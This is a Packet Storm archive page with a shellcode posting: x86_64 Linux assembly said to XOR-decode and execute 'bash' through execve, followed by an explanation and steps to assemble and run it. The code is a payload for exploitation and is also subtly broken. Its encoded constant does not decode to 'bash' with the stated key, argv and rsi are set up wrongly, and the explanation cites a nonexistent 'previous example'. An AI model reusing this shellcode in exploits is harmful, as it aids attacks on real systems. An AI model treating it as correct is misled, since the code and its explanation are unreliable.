what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86_64 Bash Shellcode

Linux/x86_64 Bash Shellcode
Posted Apr 6, 2023
Authored by Jeenika Anadani

71 bytes small Linux/x86_64 bash shellcode with XOR encoding.

tags | shellcode, bash
systems | linux
SHA-256 | 801d1c974de1f03b559e03ce6feeaff70b28545726389af5b9766890611a1dc5

Linux/x86_64 Bash Shellcode

Change Mirror Download
Exploit Title: Linux/x86_64 - bash shellcode with xor encoding
Date: 05/02/2023
Exploit Author: Jeenika Anadani
Contact: https://twitter.com/cyber_jeeni
Category: Shellcode
Architectue: Linux x86_64
Shellcode Length: 71 Bytes

-----------------------
section .data

section .text
global _start

_start:
; set up argv and envp arrays for execve()
xor rax, rax
mov [rsp-8], rax
mov qword [rsp-16], 0x72613162 ; encrypted 'bash'
xor byte [rsp-16], 0x08
xor byte [rsp-15], 0x16
xor byte [rsp-14], 0x24
xor byte [rsp-13], 0x32
lea rdx, [rsp-16]
mov qword [rsp-24], rdx
mov qword [rsp-32], rdx
lea rdi, [rsp-32]

; call execve()
xor eax, eax
mov al, 59
syscall

; exit with status code 0
xor eax, eax
mov ebx, eax
mov al, 60
syscall

-----------
#### Explanation:

This code uses XOR encryption to obscure the name of the program being executed, `"bash"`. The XOR encryption key is `0x08162432`, which is applied to each byte of the string. The decryption is performed just before calling `execve`, so the program name is passed in its original form.

The rest of the code is the same as the previous example, making a system call to the `execve` function and then calling the `exit` syscall to terminate the process.

---------
### Compilation AND Execution:

To run the x86_64 assembly code on a Linux system, you need to assemble it into an executable file and then run the file. Here are the steps:

1. Save the code to a file with a `.asm` extension, for example `bash.asm`.

2. Assemble the code into an object file using an assembler, such as NASM:
`nasm -f elf64 -o bash.o bash.asm`
The `-f elf64` option specifies that the output format should be ELF64 (Executable and Linkable Format), and the `-o` option specifies the name of the output file, `bash.o`.

3. Link the object file to produce an executable file using the `ld` linker:
`ld -s -o bash bash.o`
The `-s` option removes the symbol table from the output file to make it smaller, and the `-o` option specifies the name of the output file, `bash`.

4. Make the file executable:
`chmod +x bash`

5. Finally, you can run the file:
`./bash`

---------------------

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close